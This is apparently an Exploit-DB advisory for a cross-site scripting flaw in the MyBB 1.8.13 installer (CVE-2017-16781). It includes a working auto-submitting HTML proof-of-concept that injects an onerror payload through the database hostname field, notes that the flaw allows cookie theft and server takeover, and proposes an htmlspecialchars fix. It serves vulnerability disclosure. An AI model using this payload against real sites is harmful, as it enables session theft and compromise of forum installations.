MyBB 1.8.13 - Cross-Site Scripting

EDB-ID: 43137
Author: Pabstersac
Published: 2017-11-11
CVE: CVE-2017-16781
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: Found on 05-29-2017 
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781

No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.

The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.

It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">

<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">

</form>

<script>document.x.submit();</script>

Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.

A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
$string = "<ul>\n";
foreach($array as $error)
{
$string .= "<li>";
$string .= htmlspecialchars($error);
$string .= "</li>";
}
$string .= "</ul>\n";
return $string;
}

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